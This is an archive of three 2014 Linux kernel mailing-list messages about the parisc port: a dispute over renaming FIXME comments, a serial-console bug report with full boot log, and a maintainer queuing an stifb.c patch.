Original-Received: by 10.25.147.202 with HTTP; Wed, 24 Sep 2014 07:29:39 -0700 (PDT)
In-Reply-To: <BLU437-SMTP36FDD8606D9D645C6428697B10@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6034 gmane.linux.kernel:1794263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6034>

On Wed, Sep 24, 2014 at 8:42 AM, John David Anglin <dave.anglin@bell.net> wrote:
> On 24-Sep-14, at 7:42 AM, nick wrote:
>
>>
>>
>> On 14-09-24 01:30 AM, Guenter Roeck wrote:
>>>
>>> On Tue, Sep 23, 2014 at 09:49:43PM -0400, Nicholas Krause wrote:
>>>>
>>>> This removes the two fixmes in the file, init.c for compiler hints
>>>> for comments related to compiler hints in linux_gateway_page_addr
>>>> and map_hpux_gateway_page to change from FIXME to HINT in order
>>>> for people reading this code to understand that these are compiler
>>>> hints.
>>>>
>>>
>>> "* const" tells the compiler that a pointer is a constant.
>>> It doesn't tell the compiler that the data shall not be treated
>>> as DP-relative.
>>>
>>> FIXME as in: We should find a better way to tell the compiler to
>>> not treat this data as DP-relative.
>>>
>>> Can you please stop this ?
>>>
>>> Guenter
>>>
>>>> Signed-off-by: Nicholas Krause <yocto6@gmail.com>
>>>> ---
>>>> arch/parisc/mm/init.c | 4 ++--
>>>> 1 file changed, 2 insertions(+), 2 deletions(-)
>>>>
>>>> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
>>>> index 0bef864..668102e 100644
>>>> --- a/arch/parisc/mm/init.c
>>>> +++ b/arch/parisc/mm/init.c
>>>> @@ -733,7 +733,7 @@ static void __init pagetable_init(void)
>>>> static void __init gateway_init(void)
>>>> {
>>>>         unsigned long linux_gateway_page_addr;
>>>> -       /* FIXME: This is 'const' in order to trick the compiler
>>>> +       /* HINT: This is 'const' in order to trick the compiler
>>>>            into not treating it as DP-relative data. */
>>>>         extern void * const linux_gateway_page;
>>>>
>>>> @@ -761,7 +761,7 @@ map_hpux_gateway_page(struct task_struct *tsk,
>>>> struct mm_struct *mm)
>>>>         unsigned long start_pte;
>>>>         unsigned long address;
>>>>         unsigned long hpux_gw_page_addr;
>>>> -       /* FIXME: This is 'const' in order to trick the compiler
>>>> +       /* HINT: This is 'const' in order to trick the compiler
>>>>            into not treating it as DP-relative data. */
>>>>         extern void * const hpux_gateway_page;
>>>>
>>>> --
>>>> 1.9.1
>>>>
>>>> --
>>>> To unsubscribe from this list: send the line "unsubscribe linux-kernel"
>>>> in
>>>> the body of a message to majordomo@vger.kernel.org
>>>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>>> Please read the FAQ at  http://www.tux.org/lkml/
>>>>
>>>>
>> Guenter,
>> I asked the maintainers and I got,
>> On 9/23/2014 4:48 PM, Helge Deller wrote:
>>>
>>> The FIXME: is misleading. It should maybe better read "HINT:" or
>>> something like that.
>>> Trivially it's basically just casting the symbol so that the compiler
>>> will produce the correct code later on.
>>> There is nothing you could try to "fix".
>>
>> Why not just remove "FIXME: " from these comments?
>
>
>
> The wording of the comment is not good.  You can't "trick" the compiler into
> not
> treating a constant as DP-relative data.  Whether or not a constant is
> loaded as an
> immediate depends on its value.
>
> Dave
> --
> John David Anglin       dave.anglin@bell.net
>
>
>
Are stating I need to change the wording of  my commit or the comment?
Nick
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: serial console broken in v3.17-rc6 ?
Date: Wed, 24 Sep 2014 20:48:46 +0200
Lines: 327
Approved: news@gmane.org
Message-ID: <5423120E.8060204@gmx.de>
References: <5421D3E3.6080805@gmx.de> <5421E166.7060206@hurleysoftware.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411584552 27892 80.91.229.3 (24 Sep 2014 18:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Sep 2014 18:49:12 +0000 (UTC)
To: Peter Hurley <peter@hurleysoftware.com>,
	linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 24 20:49:05 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XWrce-0003p7-Fa
	for glk-linux-kernel-3@plane.gmane.org; Wed, 24 Sep 2014 20:49:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753505AbaIXSs5 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 24 Sep 2014 14:48:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:56833 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753140AbaIXSsw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 24 Sep 2014 14:48:52 -0400
Original-Received: from [192.168.178.60] ([84.173.15.209]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MVMgI-1XmuTR13AE-00Yj61; Wed, 24 Sep 2014 20:48:47
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <5421E166.7060206@hurleysoftware.com>
X-Provags-ID: V03:K0:0akcVN5jyiIwHhLwoJFwv9N64Px5/cScuVpyJWV5cJETAVXRSDO
 xqZIbsoPjcv07j7g7hhGx5fngHeenwM6AXJ/pYhzhgBsOdX4kIr9FB1U1pyrxuYlkWMrSLR
 oHhyXoqmsZz4o0kWJlX73yH6D99IBPEdrEnLgIM9zw+fUPgBBCgy8WC6htX8wEKZzVOQA9l
 GB2rWt2kz6u7HPAzZs0Qg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1794646 gmane.linux.serial:16042 gmane.linux.ports.parisc:6035
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1794646>

Hi Peter,

On 09/23/2014 11:08 PM, Peter Hurley wrote:
> On 09/23/2014 04:11 PM, Helge Deller wrote:
>> During the release cycle of v3.17 I've seen sometimes a broken serial console output
>> on the parisc platform. Interestingly all kernel messages printed by the kernel via printk() show
>> up correctly, but output from userspace (e.g. by the init process during boot) show
>> up as random bytes.
>> Since the printk() output is correct the serial port itself and setup is probably correct.
>> Is parisc the only arch which has this problem, or are other architectures affected as well?
>> Maybe someone has an idea what could be wrong?
>> I did not try to bisect it yet.
>
> Thanks for the bug report.
>
> 1. What serial driver is this?

Serial port/driver integrated in NS87560 chip:
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
...
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A

The source code for this driver is in drivers/parisc/superio.c,
see e.g. function superio_serial_init().
Maybe something is missing in here which was done to the other serial drivers?

Interestingly the *same* kernel don't show this problem on another (older) parisc
machine, but this older machine uses another serial driver:
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18, base_baud = 454545) is a 16550A
5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25, base_baud = 454545) is a 16550A

This (working) machine is using the drivers/tty/serial/8250/8250_gsc.c driver.

> 2. Regression since when?

Kernel 3.17 (3.16 worked)

> 3. Full dmesg please

See below.

> 4. Output of setserial -a [serial device]

root@c3000:~# setserial -a /dev/ttyS0
/dev/ttyS0, Line 0, UART: 16550A, Port: 0x03f8, IRQ: 3
         Baud_base: 115200, close_delay: 50, divisor: 0
         closing_wait: 3000
         Flags: spd_normal

> 5. Output of stty -a [serial device]

root@c3000:~# stty -a -F /dev/ttyS0
speed 9600 baud; rows 24; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 hupcl -cstopb cread clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -iuclc -ixany -imaxbel -iutf8
-opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
-isig -icanon -iexten -echo -echoe -echok -echonl -noflsh -xcase -tostop -echoprt -echoctl -echoke


Here is the dmesg from git head from today.
The output copy&pasted from serial console, see strange characters at the end:

Linux version 3.17.0-rc6-32bit+ (deller@p100) (gcc version 4.7.2 20121105 (Red Hat 4.7.2-2.aa.20121114svn) (GCC) ) #230 SMP Wed Sep 24 20:23:00 CEST 2014
unwind_init: start = 0x10742550, end = 0x10786df0, entries = 17546
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
Default page size is 4KB.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
LCD display at f05d0008,f05d0000 registered
PERCPU: Embedded 11 pages/cpu @1197b000 s23200 r8192 d13664 u45056
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
Kernel command line: HOME=/ root=/dev/sdb5 ip=bootp panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
log_buf_len individual max cpu contribution: 4096 bytes
log_buf_len total cpu_extra contributions: 126976 bytes
log_buf_len min size: 65536 bytes
log_buf_len: 262144 bytes
early log buf free: 63248(96%)
PID hash table entries: 4096 (order: 2, 16384 bytes)
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Sorting __ex_table...
Memory: 2067904K/2097152K available (4840K kernel code, 679K rwdata, 1237K rodata, 332K init, 337K bss, 29248K reserved)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x90000000   (2048 MB)
      .init : 0x10100000 - 0x10153000   ( 332 kB)
      .data : 0x1060d000 - 0x107ec1d0   (1916 kB)
      .text : 0x10153000 - 0x1060d000   (4840 kB)
Hierarchical RCU implementation.
         Additional per-CPU info printed with stalls.
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 4096 (order: 2, 16384 bytes)
Mountpoint-cache hash table entries: 4096 (order: 2, 16384 bytes)
Brought up 1 CPUs
devtmpfs: initialized
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 out of 1 PA8700 (PCX-W2) at 750.000000 MHz online
Setting cache flush threshold to 640 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xf4000000-0xf47fffff]
pci_bus 0000:00: root bus resource [bus 00]
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xfa000000-0xfbffffff]
pci_bus 0000:01: root bus resource [mem 0xf4800000-0xf4ffffff]
pci_bus 0000:01: root bus resource [bus 01]
iosapic: hpa not registered for 0000:01:04.0
Elroy version TR4.0 (0x5) found at 0xfed38000
LBA 10:4: PCI host bridge to bus 0000:02
pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
pci_bus 0000:02: root bus resource [mem 0xf9000000-0xf9ffffff]
pci_bus 0000:02: root bus resource [mem 0xf6000000-0xf67fffff]
pci_bus 0000:02: root bus resource [bus 02]
iosapic: hpa not registered for 0000:02:03.0
Elroy version TR4.0 (0x5) found at 0xfed3c000
LBA 10:6: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
pci_bus 0000:03: root bus resource [mem 0xf7000000-0xf77fffff]
pci_bus 0000:03: root bus resource [bus 03]
powersw: Soft power switch at 0xf0400804 enabled.
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switched to clocksource cr16
NET: Registered protocol family 2
TCP established hash table entries: 16384 (order: 4, 65536 bytes)
TCP bind hash table entries: 16384 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
TCP: reno registered
UDP hash table entries: 1024 (order: 4, 81920 bytes)
UDP-Lite hash table entries: 1024 (order: 4, 81920 bytes)
NET: Registered protocol family 1
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Enabling PDC chassis warnings support v0.05
futex hash table entries: 8192 (order: 7, 524288 bytes)
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
msgmni has been set to 4038
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9b
sti 0000:01:04.0: enabling SERR and PARITY (0002 -> 0142)
STI PCI graphic ROM found at f4800000 (64 kB), fb at fa000000 (32 MB)
STI ROM supports 32 bit firmware functions.
STI selected 8x16 framebuffer font VGA8x16 for sticon
     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
     graphics card name: PCI_GRAFFITIX1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xfa100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
console [ttyS0] enabled
console [ttyS0] enabled
bootconsole [ttyB0] disabled
bootconsole [ttyB0] disabled
serial8250: ttyS1 at I/O 0x2f8 (irq = 4, base_baud = 115200) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ns87415 0000:00:0e.0: IDE controller (0x100b:0x0002 rev 0x03)
ns87415 0000:00:0e.0: 100% native mode on irq 7
     ide0: BM-DMA at 0x0a00-0x0a07
     ide1: BM-DMA at 0x0a08-0x0a0f
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on irq 7
ide1 at 0xd00-0xd07,0xb02 on irq 7
ide-gd driver 1.18
ide-cd driver 5.00
ide-cd: hda: ATAPI 32X CD-ROM drive, 128kB Cache
cdrom: Uniform CD-ROM driver Revision: 3.20
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 69
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi host0: sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 69
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi host1: sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
scsi target1:0:5: Beginning Domain Validation
scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
scsi target1:0:5: Domain Validation skipping write tests
scsi target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
scsi target1:0:6: tagged command queuing enabled, command queue depth 16.
scsi target1:0:6: Beginning Domain Validation
scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
scsi target1:0:6: Domain Validation skipping write tests
scsi target1:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
net eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:30:6e:48:aa:64, IRQ 66
LASI 82596 driver - Revision: 1.30
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci-pci: OHCI PCI platform driver
ohci-pci 0000:00:0e.2: OHCI PCI host controller
sd 1:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci-pci 0000:00:0e.2: irq 1, io mem 0xf4007000
sd 1:0:5:0: [sda] 17773524 512-byte logical blocks: (9.10 GB/8.47 GiB)
sd 1:0:6:0: [sdb] Write Protect is off
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI PCI host controller
usb usb1: Manufacturer: Linux 3.17.0-rc6-32bit+ ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
sd 1:0:5:0: [sda] Write Protect is off
uhci_hcd: USB Universal Host Controller Interface driver
HP SDC: No SDC found.
mousedev: PS/2 mouse device common for all mice
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.27.0-ioctl (2013-10-30) initialised: dm-devel@redhat.com
hidraw: raw HID events driver (C) Jiri Kosina
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2014-09-24 18:24:47 UTC (1411583087)
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
Sending BOOTP requests .
usb 1-2: new low-speed USB device number 2 using ohci-pci
  OK
  sda: sda1 sda2 sda3 sda4
sd 1:0:5:0: [sda] Attached SCSI disk
  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
sd 1:0:6:0: [sdb] Attached SCSI disk
EXT3-fs (sdb5): error: couldn't mount because of unsupported optional features (240)
EXT2-fs (sdb5): error: couldn't mount because of unsupported optional features (240)
usb 1-2: New USB device found, idVendor=047b, idProduct=0002
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-2: Product: USB Keyboard and Mouse
usb 1-2: Manufacturer: SILITEK
EXT4-fs (sdb5): mounted filesystem with ordered data mode. Opts: (null)
VFS: Mounted root (ext4 filesystem) readonly on device 8:21.
input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.0/0003:047B:0002.0001/input/input0
hid-generic 0003:047B:0002.0001: input,hidraw0: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input0
devtmpfs: mounted
Freeing unused kernel memory: 332K (10100000 - 10153000)
input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.1/0003:047B:0002.0002/input/input1
hid-generic 0003:047B:0002.0002: input,hidraw1: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input1
rs
      og
  ]f"
s l
    net eth0: Setting full-duplex based on MII#1 link partner capability of 45e1
random: nonblocking pool is initialized
tpdsystemd-udevd[743]: starting version 215
.
  eg..
      vp..
          ..Adding 1350652k swap on /dev/sdb6.  Priority:-1 extents:1 across:1350652k
.
  EXT4-fs (sdb5): re-mounted. Opts: (null)
i.l
    n 5
       .
        EXT4-fs (sdb5): re-mounted. Opts: errors=remount-ro
a..
    y.l
       nsb
          .
           p..
              fnsd
                  p
ve


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomi Valkeinen <tomi.valkeinen@ti.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/6] video: fbdev: stifb.c: use container_of to resolve
 stifb_info from fb_info
Date: Tue, 30 Sep 2014 13:08:58 +0300
Lines: 78
Approved: news@gmane.org
Message-ID: <542A813A.6010603@ti.com>
References: <1410980419-5326-1-git-send-email-fabf@skynet.be> <1410980419-5326-2-git-send-email-fabf@skynet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="p6vxtaDxfn1sGQMCs9rLURodcWsq1VG22"
X-Trace: ger.gmane.org 1412071766 8949 80.91.229.3 (30 Sep 2014 10:09:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 10:09:26 +0000 (UTC)
Cc: <daniel.vetter@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	<linux-parisc@vger.kernel.org>, <linux-fbdev@vger.kernel.org>
To: Fabian Frederick <fabf@skynet.be>, <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 30 12:09:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XYuMv-0001wv-Tq
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Sep 2014 12:09:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751662AbaI3KJR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Sep 2014 06:09:17 -0400
Original-Received: from comal.ext.ti.com ([198.47.26.152]:33895 "EHLO comal.ext.ti.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750962AbaI3KJQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Sep 2014 06:09:16 -0400
Original-Received: from dflxv15.itg.ti.com ([128.247.5.124])
	by comal.ext.ti.com (8.13.7/8.13.7) with ESMTP id s8UA93l4032376;
	Tue, 30 Sep 2014 05:09:03 -0500
Original-Received: from DFLE73.ent.ti.com (dfle73.ent.ti.com [128.247.5.110])
	by dflxv15.itg.ti.com (8.14.3/8.13.8) with ESMTP id s8UA92gm012747;
	Tue, 30 Sep 2014 05:09:02 -0500
Original-Received: from dlep33.itg.ti.com (157.170.170.75) by DFLE73.ent.ti.com
 (128.247.5.110) with Microsoft SMTP Server id 14.3.174.1; Tue, 30 Sep 2014
 05:09:02 -0500
Original-Received: from [172.22.232.54] (ileax41-snat.itg.ti.com [10.172.224.153])	by
 dlep33.itg.ti.com (8.14.3/8.13.8) with ESMTP id s8UA8xsI020477;	Tue, 30 Sep
 2014 05:08:59 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.2
In-Reply-To: <1410980419-5326-2-git-send-email-fabf@skynet.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6036 gmane.linux.kernel:1798156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6036>

--p6vxtaDxfn1sGQMCs9rLURodcWsq1VG22
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

Hi,

On 17/09/14 22:00, Fabian Frederick wrote:
> Use container_of instead of casting first structure member.
>=20
> Signed-off-by: Fabian Frederick <fabf@skynet.be>
> ---
> PARISC cross-compiled but untested.
>=20
>  drivers/video/fbdev/stifb.c | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
>=20
> diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
> index cfe8a2f..86621fa 100644
> --- a/drivers/video/fbdev/stifb.c
> +++ b/drivers/video/fbdev/stifb.c
> @@ -918,7 +918,7 @@ static int
>  stifb_setcolreg(u_int regno, u_int red, u_int green,
>  	      u_int blue, u_int transp, struct fb_info *info)
>  {
> -	struct stifb_info *fb =3D (struct stifb_info *) info;
> +	struct stifb_info *fb =3D container_of(info, struct stifb_info, info)=
;
>  	u32 color;
> =20
>  	if (regno >=3D NR_PALETTE)
> @@ -978,7 +978,7 @@ stifb_setcolreg(u_int regno, u_int red, u_int green=
,
>  static int
>  stifb_blank(int blank_mode, struct fb_info *info)
>  {
> -	struct stifb_info *fb =3D (struct stifb_info *) info;
> +	struct stifb_info *fb =3D container_of(info, struct stifb_info, info)=
;
>  	int enable =3D (blank_mode =3D=3D 0) ? ENABLE : DISABLE;
> =20
>  	switch (fb->id) {
>=20

Thanks, queuing the series for 3.18.

 Tomi



--p6vxtaDxfn1sGQMCs9rLURodcWsq1VG22
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJUKoE6AAoJEPo9qoy8lh71ge8P/1hcSpUn1+7zt50TUtefryPc
vGc+vd4QuI1GOh73BwV8O0PWR3R7OWkIHjoEK+ShZsv/W8r2auaHqwqaOH43nwED
P/yHj/sZGxluOlYixwehs0zNaOYWp7DTRZzWJb1AyqAueba2jPMslvYT6eGXiZP6
+esvP4GQ8kKc+NoiZ7ODz1Nzk35VUNoHzTPm0xoRtK8Hv4TKWWpAQxSY7KoUwnoG
5bWHPAYtnVhgMJchkB9CfAeD1KzLHKMHvdlrFju0hZw/tVNtS02kyz9hfK8Vx3n1
rW5O/57W7hAmobhjzNLsGutZfXUYuGArjU610tAaRekTFfmhFS1ggICYtoHGYh+X
P+GZcCumuac+RM8ETTTcFj/mCS8wPSGK5cp5GxEU1HWXK1sVk7jMaIuh9IIn8TIb
FeqlHtts1efr/mO7HYcNt4n0QZ0VhNoMAriZh1QuH7u/lE8fhV7xPRKXQCbQ+7uV
APMe1z1P7X1K60ROeaosLZgifU9hOXzVITNF2TO84fiCM2hsRgV2mJItPzUE0Hzb
COz/iCSMylDKV9guHOQc3K0sKiF5dgjDgbxAOQIL17zAXvUwdbfUf5BOZUxN2KXa
jeKb+xs8iRN5qz4e7kjzFDxMK5EMLRMZxjXK9BkuSBh5mHVFHiHdgSBsICmIUTg2
JeMii1QDpuS24HXKCNoK
=5q0y
-----END PGP SIGNATURE-----

--p6vxtaDxfn1sGQMCs9rLURodcWsq1VG22--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
